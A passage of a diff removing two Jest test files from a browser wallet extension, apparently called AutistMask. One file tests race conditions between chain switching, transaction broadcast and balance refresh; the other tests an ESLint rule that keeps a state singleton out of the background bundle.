// verified against the old chain, so it would have gone to the new chain's
|
||||
// node — the very thing the verification exists to prevent.
|
||||
//
|
||||
// - backgroundRefresh() handed the singleton's wallets to refreshBalances(),
|
||||
// which mutates address objects in place across a multi-second network
|
||||
// round trip. Any concurrent handler that loaded state replaced those
|
||||
// objects, so the refreshed balances landed on detached ones and the save
|
||||
// that followed persisted the pre-refresh values — while still stamping
|
||||
// lastBalanceRefresh, suppressing the redo.
|
||||
//
|
||||
// Both use the real persistence path over a cloning storage stub. Nothing here
|
||||
// asserts the absence of a loadState() call; each asserts the OUTCOME, so it
|
||||
// holds against any implementation that gets the outcome right.
|
||||
|
||||
const { Wallet } = require("ethers");
|
||||
const { networkById } = require("../src/shared/networks");
|
||||
const { makeStorageStub } = require("./support/storageStub");
|
||||
|
||||
const SIGNER_KEY =
|
||||
"0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d";
|
||||
const signer = new Wallet(SIGNER_KEY);
|
||||
const RECIPIENT = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
|
||||
|
||||
const CONNECTED_ORIGIN = "https://dapp.example";
|
||||
const CONNECTED_HOSTNAME = "dapp.example";
|
||||
const EXT_URL = "chrome-extension://autistmask/";
|
||||
|
||||
const MAINNET = networkById("mainnet");
|
||||
const SEPOLIA = networkById("sepolia");
|
||||
|
||||
const NONCE = 7;
|
||||
const REFRESHED_BALANCE = "1.5";
|
||||
|
||||
// The transaction the background populates, and the artifact signed from it.
|
||||
// Its chain is a parameter because the whole subject here is a chain moving
|
||||
// under work already committed to one.
|
||||
function populated(chainId) {
|
||||
return {
|
||||
type: 2,
|
||||
chainId,
|
||||
nonce: NONCE,
|
||||
gasLimit: 100000n,
|
||||
maxFeePerGas: 2000000000n,
|
||||
maxPriorityFeePerGas: 1000000000n,
|
||||
to: RECIPIENT,
|
||||
value: 10000000000000000n,
|
||||
data: "0x",
|
||||
};
|
||||
}
|
||||
|
||||
function storedProfile(networkId) {
|
||||
const net = networkById(networkId);
|
||||
return {
|
||||
hasWallet: true,
|
||||
wallets: [
|
||||
{
|
||||
name: "Wallet 1",
|
||||
type: "hd",
|
||||
xpub: "xpub-1",
|
||||
addresses: [
|
||||
{
|
||||
address: signer.address,
|
||||
balance: "0.0",
|
||||
tokenBalances: [],
|
||||
},
|
||||
],
|
||||
},
|
||||
],
|
||||
activeAddress: signer.address,
|
||||
networkId,
|
||||
rpcUrl: net.defaultRpcUrl,
|
||||
blockscoutUrl: net.defaultBlockscoutUrl,
|
||||
allowedSites: { [signer.address]: [CONNECTED_HOSTNAME] },
|
||||
deniedSites: {},
|
||||
trackedTokens: [],
|
||||
lastBalanceRefresh: 0,
|
||||
};
|
||||
}
|
||||
|
||||
async function settle() {
|
||||
for (let i = 0; i < 60; i++) await Promise.resolve();
|
||||
}
|
||||
|
||||
function deferred() {
|
||||
let resolve;
|
||||
const promise = new Promise((res) => {
|
||||
resolve = res;
|
||||
});
|
||||
return { promise, resolve };
|
||||
}
|
||||
|
||||
afterEach(() => {
|
||||
delete global.chrome;
|
||||
});
|
||||
|
||||
// The background worker over a cloning storage stub, with the network and the
|
||||
// clock stubbed out. `opts.refreshBalances` replaces the balance refresh so a
|
||||
// test can hold one open across another handler's whole turn.
|
||||
function loadWorker(networkId, opts) {
|
||||
const options = opts || {};
|
||||
jest.resetModules();
|
||||
|
||||
// Every provider this worker constructs, in order, with the endpoint and
|
||||
// the network id it was given. The subject of the first test is which pair
|
||||
// reaches the broadcast.
|
||||
const providers = [];
|
||||
const broadcastTransaction = jest.fn(async () => ({ hash: "0xfeed" }));
|
||||
|
||||
jest.doMock("../src/shared/balances", () => ({
|
||||
getProvider: (rpcUrl, networkId2) => {
|
||||
const provider = {
|
||||
rpcUrl,
|
||||
networkId: networkId2,
|
||||
broadcastTransaction,
|
||||
getNetwork: async () => ({
|
||||
chainId: BigInt(networkById(networkId2).networkVersion),
|
||||
}),
|
||||
getTransactionCount: async () => NONCE,
|
||||
estimateGas: async () => 100000n,
|
||||
getFeeData: async () => ({
|
||||
gasPrice: 2000000000n,
|
||||
maxFeePerGas: 2000000000n,
|
||||
maxPriorityFeePerGas: 1000000000n,
|
||||
}),
|
||||
};
|
||||
providers.push(provider);
|
||||
return provider;
|
||||
},
|
||||
refreshBalances:
|
||||
options.refreshBalances || jest.fn(async () => undefined),
|
||||
}));
|
||||
jest.doMock("../src/shared/phishingDomains", () => ({
|
||||
isPhishingDomain: () => false,
|
||||
}));
|
||||
let alarmHandlers = {};
|
||||
jest.doMock("../src/shared/alarms", () => ({
|
||||
BALANCE_REFRESH_ALARM: "balance",
|
||||
BALANCE_REFRESH_PERIOD_MINUTES: 1,
|
||||
ensureRecurringAlarms: jest.fn(async () => {}),
|
||||
registerAlarmHandlers: jest.fn((handlers) => {
|
||||
alarmHandlers = handlers;
|
||||
}),
|
||||
}));
|
||||
|
||||
const storage = makeStorageStub({ autistmask: storedProfile(networkId) });
|
||||
// A hook the tests use to suspend one handler mid-flight, so the other one
|
||||
// runs entirely inside its window.
|
||||
let getHook = null;
|
||||
const realGet = storage.local.get;
|
||||
storage.local.get = jest.fn(async (key) => {
|
||||
if (getHook) await getHook();
|
||||
return realGet(key);
|
||||
});
|
||||
|
||||
let messageListener = null;
|
||||
// Every popup URL the background opened. The approval id is in it, and
|
||||
// that is how the popup learns which approval it is answering.
|
||||
const createdUrls = [];
|
||||
global.chrome = {
|
||||
storage,
|
||||
runtime: {
|
||||
getURL: (path) => EXT_URL + path,
|
||||
onMessage: {
|
||||
addListener: (fn) => {
|
||||
messageListener = fn;
|
||||
},
|
||||
},
|
||||
onConnect: { addListener: () => {} },
|
||||
lastError: null,
|
||||
},
|
||||
windows: {
|
||||
getLastFocused: (cb) => cb(null),
|
||||
create: (createOpts, cb) => {
|
||||
createdUrls.push(createOpts.url);
|
||||
cb({ id: createdUrls.length });
|
||||
},
|
||||
remove: (id, cb) => {
|
||||
if (cb) cb();
|
||||
},
|
||||
onRemoved: { addListener: () => {} },
|
||||
},
|
||||
tabs: {
|
||||
query: (queryInfo, cb) => cb([{ id: 1 }]),
|
||||
sendMessage: (tabId, message, cb) => {
|
||||
if (cb) cb();
|
||||
},
|
||||
},
|
||||
action: { setPopup: () => {} },
|
||||
};
|
||||
|
||||
require("../src/background/index");
|
||||
|
||||
function send(msg, sender) {
|
||||
let result = null;
|
||||
const kept = messageListener(msg, sender, (r) => {
|
||||
result = r;
|
||||
});
|
||||
return { kept, result: () => result };
|
||||
}
|
||||
|
||||
function rpc(method, params, origin) {
|
||||
return send(
|
||||
{ type: "AUTISTMASK_RPC", method, params },
|
||||
{ origin: origin || CONNECTED_ORIGIN },
|
||||
);
|
||||
}
|
||||
|
||||
return {
|
||||
rpc,
|
||||
send,
|
||||
providers,
|
||||
broadcastTransaction,
|
||||
persisted: () => storage.read("autistmask"),
|
||||
setGetHook: (hook) => {
|
||||
getHook = hook;
|
||||
},
|
||||
fromPopup: { url: EXT_URL + "src/popup/index.html" },
|
||||
fireBalanceAlarm: () => alarmHandlers.balance(),
|
||||
lastApprovalId: () => {
|
||||
const url = createdUrls[createdUrls.length - 1];
|
||||
if (!url) return null;
|
||||
return new URL(url, EXT_URL).searchParams.get("approval");
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
describe("a chain switch under a transaction already committed to a chain", () => {
|
||||
// Item 4 of https://git.eeqj.de/sneak/AutistMask/issues/324.
|
||||
//
|
||||
// The artifact is verified against the chain read at the top of the
|
||||
// attempt. Whatever endpoint it is then broadcast to has to be that same
|
||||
// chain's — otherwise the wallet checks a transaction against Sepolia and
|
||||
// sends it to a mainnet node. A connected site can switch the chain at any
|
||||
// moment, including this one.
|
||||
test("the artifact is broadcast to the endpoint of the chain it was verified against", async () => {
|
||||
const bg = loadWorker("sepolia");
|
||||
|
||||
// Raise the approval, then find its id from the popup's own fetch.
|
||||
bg.rpc("eth_sendTransaction", [
|
||||
{
|
||||
from: signer.address,
|
||||
to: RECIPIENT,
|
||||
value: "0x2386f26fc10000",
|
||||
data: "0x",
|
||||
},
|
||||
]);
|
||||
await settle();
|
||||
|
||||
const id = bg.lastApprovalId();
|
||||
expect(id).toBeTruthy();
|
||||
|
||||
// The popup signs what it was shown: Sepolia.
|
||||
const rawSignedTx = await signer.signTransaction(
|
||||
populated(Number(SEPOLIA.networkVersion)),
|
||||
);
|
||||
|
||||
// A connected site switches the chain while the attempt is running,
|
||||
// and the switch is committed to storage in full before the attempt
|
||||
// goes any further.
|
||||
//
|
||||
// It is fired from inside the attempt's SECOND state read, because
|
||||
// that is where the window used to be: the chain id was captured at
|
||||
// the first read and the endpoint was taken off the singleton several
|
||||
// awaits later, so a switch landing between them moved the endpoint
|
||||
// under an artifact already verified against the old chain. An
|
||||
// implementation that takes both from one read has no second read for
|
||||
// this to fire on, and the switch below runs after the attempt is
|
||||
// done instead — which is the point.
|
||||
let reads = 0;
|
||||
let switched = null;
|
||||
const doSwitch = async () => {
|
||||
switched = bg.rpc("wallet_switchEthereumChain", [
|
||||
{ chainId: MAINNET.chainId },
|
||||
]);
|
||||
await settle();
|
||||
};
|
||||
bg.setGetHook(async () => {
|
||||
reads++;
|
||||
if (reads !== 2) return;
|
||||
bg.setGetHook(null);
|
||||
await doSwitch();
|
||||
});
|
||||
|
||||
const attempt = bg.send(
|
||||
{
|
||||
type: "AUTISTMASK_TX_RESPONSE",
|
||||
id,
|
||||
approved: true,
|
||||
rawSignedTx,
|
||||
},
|
||||
{ url: bg.fromPopup.url },
|
||||
);
|
||||
await settle();
|
||||
|
||||
bg.setGetHook(null);
|
||||
if (!switched) await doSwitch();
|
||||
expect(switched.result()).toEqual({ result: null });
|
||||
expect(bg.persisted().networkId).toBe("mainnet");
|
||||
await settle();
|
||||
|
||||
// It went out, and it went out to Sepolia's node — the chain the
|
||||
// artifact was verified against. Reading the endpoint separately from
|
||||
// the chain id put mainnet's here.
|
||||
expect(attempt.result()).toEqual({ txHash: "0xfeed" });
|
||||
expect(bg.broadcastTransaction).toHaveBeenCalledTimes(1);
|
||||
const used = bg.providers[bg.providers.length - 1];
|
||||
expect(used.rpcUrl).toBe(SEPOLIA.defaultRpcUrl);
|
||||
expect(used.networkId).toBe("sepolia");
|
||||
});
|
||||
});
|
||||
|
||||
describe("a balance refresh under another handler's state read", () => {
|
||||
// Item 5 of https://git.eeqj.de/sneak/AutistMask/issues/324.
|
||||
//
|
||||
// The trigger is a same-chain wallet_switchEthereumChain from a connected
|
||||
// site: it answers { result: null } and changes nothing, so the ONLY thing
|
||||
// it can do to the refresh is what its state read does. On the singleton
|
||||
// that read replaced state.wallets, detaching the objects the refresh was
|
||||
// mutating.
|
||||
test("a chain read arriving mid-refresh does not discard the refresh", async () => {
|
||||
const roundTrip = deferred();
|
||||
const reachedNetwork = deferred();
|
||||
|
||||
const bg = loadWorker("sepolia", {
|
||||
refreshBalances: async (wallets) => {
|
||||
reachedNetwork.resolve();
|
||||
await roundTrip.promise;
|
||||
// In place, on the objects handed in — as balances.js does.
|
||||
wallets[0].addresses[0].balance = REFRESHED_BALANCE;
|
||||
},
|
||||
});
|
||||
|
||||
const refresh = bg.fireBalanceAlarm();
|
||||
await reachedNetwork.promise;
|
||||
|
||||
const answered = bg.rpc("wallet_switchEthereumChain", [
|
||||
{ chainId: SEPOLIA.chainId },
|
||||
]);
|
||||
await settle();
|
||||
expect(answered.result()).toEqual({ result: null });
|
||||
|
||||
roundTrip.resolve();
|
||||
await refresh;
|
||||
|
||||
expect(bg.persisted().wallets[0].addresses[0].balance).toBe(
|
||||
REFRESHED_BALANCE,
|
||||
);
|
||||
expect(bg.persisted().lastBalanceRefresh).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
// The other half of "does not publish a shared object": a wallet added
|
||||
// while the refresh was in flight must survive the refresh's own write.
|
||||
test("a wallet added mid-refresh survives the refresh's write", async () => {
|
||||
const roundTrip = deferred();
|
||||
const reachedNetwork = deferred();
|
||||
|
||||
const bg = loadWorker("sepolia", {
|
||||
refreshBalances: async (wallets) => {
|
||||
reachedNetwork.resolve();
|
||||
await roundTrip.promise;
|
||||
wallets[0].addresses[0].balance = REFRESHED_BALANCE;
|
||||
},
|
||||
});
|
||||
|
||||
const refresh = bg.fireBalanceAlarm();
|
||||
await reachedNetwork.promise;
|
||||
|
||||
// Another extension page adds a wallet while the round trip is out.
|
||||
const during = bg.persisted();
|
||||
during.wallets.push({
|
||||
name: "Wallet 2",
|
||||
type: "hd",
|
||||
xpub: "xpub-2",
|
||||
addresses: [
|
||||
{ address: RECIPIENT, balance: "0.0", tokenBalances: [] },
|
||||
],
|
||||
});
|
||||
global.chrome.storage.write("autistmask", during);
|
||||
|
||||
roundTrip.resolve();
|
||||
await refresh;
|
||||
|
||||
const after = bg.persisted();
|
||||
expect(after.wallets).toHaveLength(2);
|
||||
expect(after.wallets[0].addresses[0].balance).toBe(REFRESHED_BALANCE);
|
||||
});
|
||||
});
|
||||
@@ -1,270 +0,0 @@
|
||||
// The lint rule that keeps src/shared/state.js out of the background bundle
|
||||
// (script/lib/eslint/noStateSingletonInBackground.js).
|
||||
//
|
||||
// Five defects, one of which destroyed a wallet, came from background code
|
||||
// reaching that singleton, and each point fix created the next site
|
||||
// (https://git.eeqj.de/sneak/AutistMask/issues/324).
|
||||
//
|
||||
// What this file does NOT do is establish that the singleton cannot reach the
|
||||
// background bundle. That is build.js's FORBIDDEN_INPUTS assertion, which reads
|
||||
// esbuild's metafile and so cannot be evaded by a syntax a matcher does not
|
||||
// know; it is pinned by tests/buildForbiddenInputs.test.js. The rule under test
|
||||
// here is fast local feedback in front of that, and these cases pin the shapes
|
||||
// it is known to catch, so a regression in the matcher is a failing test rather
|
||||
// than a quietly narrower rule.
|
||||
//
|
||||
// Every shape below was measured against a real `make build`: each one puts
|
||||
// state.js in the shipped background bundles, and each one was invisible to
|
||||
// some earlier revision of the matcher — the quoted-only regex missed the
|
||||
// backtick, the dynamic import and the `from` clause; its successor missed a
|
||||
// comment inside the call and a directory resolved through package.json `main`.
|
||||
//
|
||||
// Two shapes the rule does NOT report are pinned below as non-reports, in
|
||||
// "the divergences from the build's answer": a computed specifier such as
|
||||
// `require("../shared/" + "state")`, which esbuild constant-folds, and a
|
||||
// symlink to the module, whose real path esbuild reports. Both put state.js in
|
||||
// the shipped background bundle and both are `make build` exit 2 with
|
||||
// `make lint` exit 0 (measured). Pinning them as non-reports is what makes the
|
||||
// rule's stated bounds a measured description rather than a claim: if either
|
||||
// starts being reported, or the matcher is widened until one is, a test says
|
||||
// so. Their catch is the build's, and is pinned in
|
||||
// tests/buildForbiddenInputs.test.js against the metafile that catches it.
|
||||
|
||||
const fs = require("fs");
|
||||
const os = require("os");
|
||||
const path = require("path");
|
||||
const { Linter } = require("eslint");
|
||||
|
||||
const plugin = require("../script/lib/eslint/noStateSingletonInBackground");
|
||||
|
||||
const RULE = "background/no-state-singleton-in-background";
|
||||
|
||||
// The three files a fixture tree always has. `src/background/index.js` is
|
||||
// supplied per case; the other two stand in for the real modules.
|
||||
const SHARED_STATE = "const state = {};\nmodule.exports = { state };\n";
|
||||
const SHARED_HOP =
|
||||
"// A shared module the background legitimately imports.\n" +
|
||||
"module.exports = { applyChainSwitchFields() {} };\n";
|
||||
|
||||
let roots = [];
|
||||
|
||||
function fixture(files) {
|
||||
const root = fs.realpathSync(
|
||||
fs.mkdtempSync(path.join(os.tmpdir(), "autistmask-state-rule-")),
|
||||
);
|
||||
roots.push(root);
|
||||
const tree = {
|
||||
"src/shared/state.js": SHARED_STATE,
|
||||
"src/shared/chainSwitchFields.js": SHARED_HOP,
|
||||
...files,
|
||||
};
|
||||
for (const [rel, source] of Object.entries(tree)) {
|
||||
const abs = path.join(root, rel);
|
||||
fs.mkdirSync(path.dirname(abs), { recursive: true });
|
||||
fs.writeFileSync(abs, source);
|
||||
}
|
||||
return root;
|
||||
}
|
||||
|
||||
// Run the rule exactly as eslint.config.js runs it, over a real tree: the walk
|
||||
// reads its sources from disk, so a virtual RuleTester would not exercise it.
|
||||
// `sourceType` is the fixture's own, not the rule's business: the walk is
|
||||
// textual and never parses the files it follows. The two ESM cases below pass
|
||||
// "module" only so espree can parse the fixture at all — in this repo those
|
||||
// shapes are also a parse error under the commonjs config, but the rule must
|
||||
// not be left depending on that.
|
||||
function lintBackground(root, { sourceType = "commonjs" } = {}) {
|
||||
const file = path.join(root, "src/background/index.js");
|
||||
const linter = new Linter({ cwd: root });
|
||||
return linter.verify(
|
||||
fs.readFileSync(file, "utf8"),
|
||||
{
|
||||
plugins: { background: plugin },
|
||||
languageOptions: { ecmaVersion: 2024, sourceType },
|
||||
rules: { [RULE]: "error" },
|
||||
},
|
||||
file,
|
||||
);
|
||||
}
|
||||
|
||||
function chainOf(messages) {
|
||||
expect(messages).toHaveLength(1);
|
||||
expect(messages[0].ruleId).toBe(RULE);
|
||||
// "...singleton: <chain>. The MV3 worker..." — the chain is what the
|
||||
// message exists to hand the reader, so assert on it rather than on the
|
||||
// fact that something was reported.
|
||||
return messages[0].message.split("singleton: ")[1].split(". The MV3")[0];
|
||||
}
|
||||
|
||||
afterEach(() => {
|
||||
for (const root of roots) fs.rmSync(root, { recursive: true, force: true });
|
||||
roots = [];
|
||||
});
|
||||
|
||||
describe("the specifier syntaxes the matcher is known to catch", () => {
|
||||
test("a quoted require", () => {
|
||||
const root = fixture({
|
||||
"src/background/index.js":
|
||||
'const { state } = require("../shared/state");\n' +
|
||||
"module.exports = { state };\n",
|
||||
});
|
||||
expect(chainOf(lintBackground(root))).toBe(
|
||||
"src/background/index.js -> src/shared/state.js",
|
||||
);
|
||||
});
|
||||
|
||||
test("a backtick require", () => {
|
||||
const root = fixture({
|
||||
"src/background/index.js":
|
||||
"const { state } = require(`../shared/state`);\n" +
|
||||
"module.exports = { state };\n",
|
||||
});
|
||||
expect(chainOf(lintBackground(root))).toBe(
|
||||
"src/background/index.js -> src/shared/state.js",
|
||||
);
|
||||
});
|
||||
|
||||
test("a dynamic import inside an async function", () => {
|
||||
const root = fixture({
|
||||
"src/background/index.js":
|
||||
"async function readState() {\n" +
|
||||
' const m = await import("../shared/state");\n' +
|
||||
" return m.state;\n" +
|
||||
"}\n" +
|
||||
"module.exports = { readState };\n",
|
||||
});
|
||||
expect(chainOf(lintBackground(root))).toBe(
|
||||
"src/background/index.js -> src/shared/state.js",
|
||||
);
|
||||
});
|
||||
|
||||
test("a static import from-clause", () => {
|
||||
const root = fixture({
|
||||
"src/background/index.js":
|
||||
'import { state } from "../shared/state";\n' +
|
||||
"export { state };\n",
|
||||
});
|
||||
expect(chainOf(lintBackground(root, { sourceType: "module" }))).toBe(
|
||||
"src/background/index.js -> src/shared/state.js",
|
||||
);
|
||||
});
|
||||
|
||||
// `import(/* webpackChunkName: "x" */ "./x")` is the standard bundler
|
||||
// annotation idiom, and prettier leaves both of these exactly as written,
|
||||
// so nothing else in the repo would object to them either.
|
||||
test("a comment between the paren and the specifier", () => {
|
||||
const root = fixture({
|
||||
"src/background/index.js":
|
||||
'globalThis.__probe = require(/* probe */ "../shared/state").state;\n',
|
||||
});
|
||||
expect(chainOf(lintBackground(root))).toBe(
|
||||
"src/background/index.js -> src/shared/state.js",
|
||||
);
|
||||
});
|
||||
|
||||
test("a comment between the specifier and the closing paren", () => {
|
||||
const root = fixture({
|
||||
"src/background/index.js":
|
||||
'globalThis.__probe = require("../shared/state" /* probe */).state;\n',
|
||||
});
|
||||
expect(chainOf(lintBackground(root))).toBe(
|
||||
"src/background/index.js -> src/shared/state.js",
|
||||
);
|
||||
});
|
||||
|
||||
test("a bare side-effect import", () => {
|
||||
const root = fixture({
|
||||
"src/background/index.js": 'import "../shared/state";\n',
|
||||
});
|
||||
expect(chainOf(lintBackground(root, { sourceType: "module" }))).toBe(
|
||||
"src/background/index.js -> src/shared/state.js",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe("reachability, not just the direct specifier", () => {
|
||||
// The shape a no-restricted-imports could never see: no background file
|
||||
// names state.js, and the singleton is in the bundle anyway. In a backtick
|
||||
// require, so this fails on the specifier widening as well as on the walk.
|
||||
test("a two-hop re-export through a shared module", () => {
|
||||
const root = fixture({
|
||||
"src/background/index.js":
|
||||
'const { applyChainSwitchFields } = require("../shared/chainSwitchFields");\n' +
|
||||
"module.exports = { applyChainSwitchFields };\n",
|
||||
"src/shared/chainSwitchFields.js":
|
||||
SHARED_HOP +
|
||||
"module.exports.state = require(`./state`).state;\n",
|
||||
});
|
||||
expect(chainOf(lintBackground(root))).toBe(
|
||||
"src/background/index.js -> src/shared/chainSwitchFields.js" +
|
||||
" -> src/shared/state.js",
|
||||
);
|
||||
});
|
||||
|
||||
// Resolution, not syntax: the specifier names a directory, and the file it
|
||||
// resolves to is chosen by that directory's package.json `main`. A walk
|
||||
// that only tries `<dir>/index.js` stops on a specifier it matched.
|
||||
test("a directory resolved through its package.json main", () => {
|
||||
const root = fixture({
|
||||
"src/background/index.js":
|
||||
'globalThis.__probe = require("../shared/probepkg").state;\n',
|
||||
"src/shared/probepkg/package.json": '{"main": "./bridge.js"}\n',
|
||||
"src/shared/probepkg/bridge.js":
|
||||
'const { state } = require("../state");\n' +
|
||||
"module.exports = { state };\n",
|
||||
});
|
||||
expect(chainOf(lintBackground(root))).toBe(
|
||||
"src/background/index.js -> src/shared/probepkg/bridge.js" +
|
||||
" -> src/shared/state.js",
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
// These two are holes in the rule, and they are pinned as holes on purpose:
|
||||
// the build catches both, the rule is fast feedback in front of it, and a
|
||||
// written-down bound that nothing measures is how the previous three rounds of
|
||||
// this change ended up with claims that were false.
|
||||
describe("the divergences from the build's answer", () => {
|
||||
test("a computed specifier is not reported (esbuild folds it; the build fails)", () => {
|
||||
const root = fixture({
|
||||
"src/background/index.js":
|
||||
'globalThis.__probe = require("../shared/" + "state").state;\n',
|
||||
});
|
||||
expect(lintBackground(root)).toEqual([]);
|
||||
});
|
||||
|
||||
test("a symlink to the module is not reported (esbuild reports the real path)", () => {
|
||||
const root = fixture({
|
||||
"src/background/index.js":
|
||||
'const { state } = require("../shared/stateLink");\n' +
|
||||
"module.exports = { state };\n",
|
||||
});
|
||||
fs.symlinkSync(
|
||||
path.join(root, "src/shared/state.js"),
|
||||
path.join(root, "src/shared/stateLink.js"),
|
||||
);
|
||||
expect(lintBackground(root)).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("what the rule must not report", () => {
|
||||
test("a background file that reaches only its own state layer", () => {
|
||||
const root = fixture({
|
||||
"src/background/index.js":
|
||||
'const { getState } = require("./state");\n' +
|
||||
'const { applyChainSwitchFields } = require("../shared/chainSwitchFields");\n' +
|
||||
"module.exports = { getState, applyChainSwitchFields };\n",
|
||||
"src/background/state.js":
|
||||
"async function getState() {}\nmodule.exports = { getState };\n",
|
||||
});
|
||||
expect(lintBackground(root)).toEqual([]);
|
||||
});
|
||||
|
||||
// The tree as it actually stands. This is the assertion that would catch a
|
||||
// widened matcher that resolves something it should not: it runs the rule
|
||||
// over the real background entrypoint, from the real repo root.
|
||||
test("the repository's own background entrypoint", () => {
|
||||
const root = path.resolve(__dirname, "..");
|
||||
expect(lintBackground(root)).toEqual([]);
|
||||
});
|
||||
});
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user